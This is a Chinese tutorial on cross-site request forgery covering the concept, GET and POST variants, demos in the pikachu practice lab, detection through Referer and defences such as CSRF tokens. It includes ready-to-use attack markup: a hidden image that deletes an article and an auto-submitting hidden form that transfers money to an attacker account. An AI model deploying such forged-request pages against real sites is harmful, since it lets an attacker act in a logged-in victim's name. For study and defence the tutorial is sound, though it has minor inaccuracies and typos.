CSRF基础
CSRF(跨站请求伪造)基础
1. 什么是CSRF漏洞
- CSRF,全程Cross-Site Request Forgery,中文常译为“跨站请求伪造”。它也被称为 “One-Click Attack”(一键攻击)或 “Session Riding”(会话骑乘)。
1.1 核心攻击思想
- 攻击者欺骗用户的浏览器,使得受害者的浏览器在受害者不知情的情况下,以一个已经认证的身份(比如受害者已经登陆的状态)向目标网站发送一个恶意的请求(例如银行网站转账操作)。
2. CSRF漏洞和的产生原理
- 下面这张图展示了CSRF的攻击过程。
根据上面的图片,我们可以发现,要成功发起CSRF攻击,必须同时满足以下几个关键条件:
- 用户已经登录了目标网站,并且浏览器中保存了该网站的Cookie用于身份验证。
- 浏览器在向同一个域名发送请求时,会自动携带该域名下的所有相关Cookie(这是浏览器的同源策略,一般无法被网站禁止)。
- 目标网站对于敏感操作的请求(例如:修改密码、转账、发表评论),缺乏足够的安全措施来验证该请求是否确实时由用户资源发出的,仅仅只是通过Cookie来进行身份验证。
通过上面的说明,我们可以发现CSRF其实可以理解为:攻击者到用被害者的身份,以被害者的身份发送恶意请求,但是目标网站又缺乏相关的身份验证,这导致服务器认为这次请求是完全合法的被害者自己的行为。
3. CSRF的分类
3.1 GET类型的CSRF
仅仅需要一个HTTP请求就能构造一次简单的CSRF。
描述:敏感操作(如修改、删除)被设计为通过GET请求完成。
攻击方式:攻击者只需要构造一个URL,当用户(在已经登陆目标网站的情况下)访问这个URL时,攻击就会发生。通常通过
img、script、iframe等标签的src属性自动发起请求。攻击示例
假设一个博客网站删除文章的链接是:
https://blog.com/delete-article?articleId=123- 则攻击者可以在自己的恶意页面中嵌入:
1
<img src="https://blog.com/delete-article?articleId=123" width="0" height="0" />
- 这样当用户访问该页面时,标签自动执行就导致文章ID为123的文章被删除。
- 也可以诱导用户点击类似的连接:
1
<a href="https://blog.com/delete-article?articleId=123">点击我领取大奖!</a>
这里我们通过pikachu靶场的相关板块来做一个例子:
- 在登陆用户之后我们可以修改和提交用户信息,在这里BP抓包一下。
可以看到是GET提交的数据包
/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=1111&add=USA&email=888888%40163.com&submit=submit也就是说我们可以直接通过伪造提交的数据包从而修改用户信息。既然如此我们可以构造这样的Payload:
/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=123113321&add=USA&email=888888%40163.com&submit=submit(注意这里我们修改了phonenum`的内容)构造好Payload之后我们模拟用户点击的过程,可以拟写一个简单的html。
- 之后模拟用户点击过程。
- 这时用户的资料信息已经被我们修改了,我们可以返回pikachu靶场刷新之后查看结果。
综上所述GET类型的CSRF的特点是:用户无需进行如点击按钮等额外的其他操作,只需要访问恶意页面或者点击恶意连接即可完成。
3.2 POST类型的CSRF
在CSRF当中POST请求相较于GET请求是更常见的存在,因为现代Web开发规范要求修改数据的操作必须使用POST请求。
描述:敏感操作通过POST请求完成,需要提交表单数据。
攻击方式:攻击者需要构造一个隐藏的HTML表单,并通过JavaScript自动提交。这需要用户访问一个恶意页面,但用户无需点击表单提交按钮。
攻击示例
这里我们构造一个简单的示例代码。进攻场景为用户登录了某家银行,之后访问了此恶意页面。
1
2
3
4
5
6
7
8
9
10
11
12
13<body>
<!-- 页面加载后自动提交表单 -->
<script>
document.addEventListener('DOMContentLoaded', function() {
document.forms['csrfForm'].submit();
});
</script>
<form id="csrfForm" action="https://bank.com/transfer" method="POST">
<input type="hidden" name="toAccount" value="hacker_account">
<input type="hidden" name="amount" value="10000">
</form>
</body>首先来看JS部分:
1
document.addEventListener('DOMContentLoaded', function() {
document:代表整个HTML文档的对象。.addEventListener():添加事件监听器的方法。'DOMContentLoaded':事件类型,表示HTML文档已完全加载和解析完成。function() {:定义匿名函数(回调函数),事件触发时执行。- 整体作用就是为文档添加一个事件监听,当DOM加载完成之后执行指定函数。
1
document.forms['csrfForm'].submit();
document.forms:文档中所有表单的集合。['csrfForm']:通过name或id为"csrfForm"获取特定表单。.submit():调用表单的提交方法。- 整体作用就是获取id为
"csrfForm"的表单并自定提交。
之后看表单内容
1
<form id="csrfForm" action="https://bank.com/transfer" method="POST">
id="csrfForm":表单的唯一标识符,JavaScript通过此id找到表单。action="https://bank.com/transfer":表单提交的目标URL。method="POST":使用POST方法提交(数据在请求体中,不在URL中显示)。
1
<input type="hidden" name="toAccount" value="hacker_account">
type="hidden":隐藏类型的输入字段,用户看不到。name="toAccount":参数名称,服务器通过此名称获取值。value="hacker_account":参数值,攻击者的账户。- 整体作用就是创建一个隐藏字段,包含攻击者的账户信息。
1
<input type="hidden" name="amount" value="10000">
type="hidden":同上,隐藏字段。name="amount":参数名,表示金额。value="10000":参数值,转账金额10000。- 整体作用就是创建第二个隐藏字段,包含转账金额。
我们还是同pikachu靶场来做一个简单的示例。
- 首先我们构造一段这样的代码(具体的含义在示例1中已经详细的解释了)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=a, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<script>
document.addEventListener('DOMContentLoaded', function() {
document.forms['user'].submit();
});
</script>
<form id="user" action="http://你的靶场本机IP/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
<input type="hidden" name="sex" value="boy">
<input type="hidden" name="phonenum" value="555555">
<input type="hidden" name="add" value="LOL">
<input type="hidden" name="email" value="abc@fox.com">
</form>
</body>
</html>- 之后我们登录pikachu中的用户。
之后再访问我们创建好的恶意网站,再返回pikachu靶场刷新一下可以发现用户信息已经被改变了。
4. CSRF漏洞挖掘
Referer字段
- 关于CSRF漏洞有一个很重要的字段——“Referer”,它可以用来判断是否存在CSRF漏洞。
- Referer是HTTP请求头的一个字段,用来表示当前请求来自哪个页面/URL,它是由浏览器自动添加的通常不可以被JS直接修改。
- Referer的主要作用有分析流量来源、防止图片或资源被外部网站直接引用等,但是根据上述的作用可以发现,他是用来防御CSRF漏洞的一个重要手段。
- 通过上面的论述我们就可以发现,判断是否存在CSRF的最简单的方式就是抓取一个数据包,然后观察是否出现了Referer字段,如果没有那说么可能存在CSRF漏洞。
- 如果抓取的数据包中包含Referer字段,我们可以尝试去掉Referer字段之后重新提交,如果数据包仍然有效,CSRF也很有可能存在。
5. CSRF漏洞防御
- 防御CSRF漏洞的核心思想就是增加一个攻击者无法预测、无法伪造的额外验证信息。这个信息不能通过浏览器自动发送的机制来传递(比如说Cookie)。
5.1 使用CSRF Tokens
- 这是最常用最有效的CSRF漏洞防御方法,也是业界标准的防御方案。
- 原理:
- 服务器会在用户会话中生成一个随机的、不可预测的令牌,也就是Token。
- 在渲染表单页面时,将这个Token作为一个隐藏的字段插入到表单当中去。
- 当用户提交表单请求时,这个Token会随机请求一起发送到服务器。
- 服务器收到请求之后,对比请求中的Token和会话中储存的Token是否一致。
- 攻击者构造的恶意请求无法知道这个Token的值(因为受到了同源策略的保护),因此他发出的请求中无法包含正确的Token,所以服务器会拒绝执行。
5.2 验证 Referer和 OriginHeader
- 原理:检查HTTP请求头中的Referer(来源页面)或者Origin(请求来源)字段,确保请求来自同一个域下的合法页面。
- 优点:实现简单。
- 缺点:
- 某些浏览器出于隐私考虑,可能不会发送
Referer。 - 用户可以配置浏览器禁用
Referer。 - 可能存在被绕过的方法(如某些旧版本浏览器的漏洞)。
- 某些浏览器出于隐私考虑,可能不会发送
- 通常作为辅助防御手段,不应作为唯一手段。
6. CSRF 与 XSS 的区别
| 特性 | CSRF(跨站请求伪造) | XSS(跨站脚本攻击) |
|---|---|---|
| 攻击目标 | 利用用户的登录状态,以用户的身份执行操作。 | 窃取用户的登录状态(Cookie)或其他敏感数据。 |
| 信任关系 | 利用网站对用户浏览器的信任(“这个请求带着正确的Cookie,所以是用户本人”)。 | 利用用户对网站内容的信任(“这个页面是合法的,所以会执行里面的脚本”)。 |
| 攻击方式 | 诱使用户访问恶意第三方网站,由该网站向目标网站发出请求。 | 将恶意脚本注入到目标网站本身,当用户访问目标网站时执行。 |
| 所需条件 | 用户必须已登录目标网站。 | 目标网站存在可被注入恶意脚本的漏洞。 |
简单说:XSS 是让用户在目标网站上执行攻击者的代码;CSRF 是让用户在攻击者的网站上向目标网站发出请求。







